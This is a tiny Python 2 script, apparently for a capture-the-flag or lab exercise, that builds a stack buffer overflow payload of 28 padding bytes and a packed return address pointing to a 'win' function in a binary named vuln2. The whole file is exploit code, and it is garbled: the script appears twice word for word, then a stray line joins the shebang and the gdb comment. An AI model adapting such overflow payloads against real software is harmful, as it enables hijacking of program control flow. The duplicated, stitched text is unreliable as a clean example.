#!/usr/bin/env python2
import struct, sys

padding = 'A'*28

#gdb vuln2 -batch -ex 'x/i win'
win_addr = struct.pack("I", 0x080483f4)

exploit = padding + win_addr

print exploit

#!/usr/bin/env python2
import struct, sys

padding = 'A'*28

#gdb vuln2 -batch -ex 'x/i win'
win_addr = struct.pack("I", 0x080483f4)

exploit = padding + win_addr

print exploit

#!/usr/bin/env python2 #gdb vuln2 -batch -ex 'x/i win'